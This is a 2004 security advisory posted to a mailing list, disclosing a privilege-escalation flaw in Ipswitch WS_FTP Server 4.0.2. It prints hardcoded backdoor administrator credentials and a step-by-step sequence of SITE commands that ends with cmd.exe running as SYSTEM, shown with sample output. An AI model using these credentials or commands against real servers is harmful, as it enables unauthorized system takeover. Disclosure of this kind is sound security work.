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Open the WS_FTP Server backdoor to SYSTEM
From: "Hugh Mann" <hughmann () hotmail com>
Date: Tue, 23 Mar 2004 07:11:58 +0000

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Advisory Name: Open the WS_FTP Server backdoor to SYSTEM
Impact       : Privilege escalation
Discovered by: Hugh Mann hughmann () hotmail com
Tested progs : Ipswitch WS_FTP Server 4.0.2.EVAL
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Description
~~~~~~~~~~~
Any local user or any remote user who can execute programs on the FTP server as any user can start programs on the FTP server with the SYSTEM privilege.

Details
~~~~~~~
There are two WS_FTP Server options only the FTP system administrator can change. When enabled a FTP system administrator can edit user-defined SITE FTP commands. These user-defined SITE commands execute a program of the FTP system admin's choice. To protect the FTP sites, these options can only be controlled by a local FTP system administrator using the iftpmgr.exe program. It's not possible for a remote FTP system admin to enable these options through the iftpmgr.exe program. However, it's possible for a FTP system administrator to enable these options with a special WS_FTP Server SITE command. Ipswitch forgot to mask out the bits that enable these options before saving the new Flags when it receives a new SITE SETS (Set Site Options) command from a remote FTP system administrator.

A "remote" FTP system admin is any FTP system admin using FTP/TELNET to connect to the server, which includes local users. If the remote user doesn't have the FTP system admin password but can run a program on the FTP server as any user, or if the user is a local user, the user can log in as the FTP system administrator by using a backdoor.

FTP System Administrator backdoor: Any local user, or any remote user who can run programs on the FTP server as any user, can log in as the FTP System Administrator by using a backdoor.

RealName: Local Session Manager
Username: XXSESS_MGRYY
Password: X#1833

The user must have an IP equal to 127.0.0.1 and must connect to server IP 127.0.0.1 or the login will fail.

Exploit
~~~~~~~
Use telnet/ftp to log in as the FTP system admin or use the backdoor. Enable remote editing of SITE cmds/events (exec files). This is off by default, but can be enabled by a remote ftp admin. First use the SITE List Site Options command:

        SITE LSTC
220 C:\iFtpSvc<\t>C:\iFtpSvc<\t>C:\iFtpSvc\Logs<\t>21<\t>0<\t>1460<\t>0<\t>16384<\t>C:\iFtpSvc\Security<\t>0

<\t> means tab, or byte 0x09.

Write down the 2nd to 8th site options you find there. Change the 5th Flags option by OR'ing it with 0x180. Now put the 2nd to 8th options on the next line, each option separated by a tab, except for the first option right after "SITE SETS" which should have a space just before it:

        SITE SETS C:\iFtpSvc<\t>C:\iFtpSvc\Logs<\t>21<\t>384<\t>1460<\t>0<\t>16384
        220 options set

Now iftpmgr.exe can be used to remotely control all site options. I'll show how to manually add a SITE cmd we can use without using iftpmgr.exe. The command to do that is:

        SITE SETC <HostName><\t>3V1L<\t>cmd.exe<\t>/C echo yup<\t>16
        220 site command modified

<HostName> is the first name displayed before you log in to the FTP. 3V1L is the name of the new SITE command. Flags = 16 means write output to the screen.

        SITE 3V1L
        200-Command Started
        200-yup
        200 SITE command execution successful

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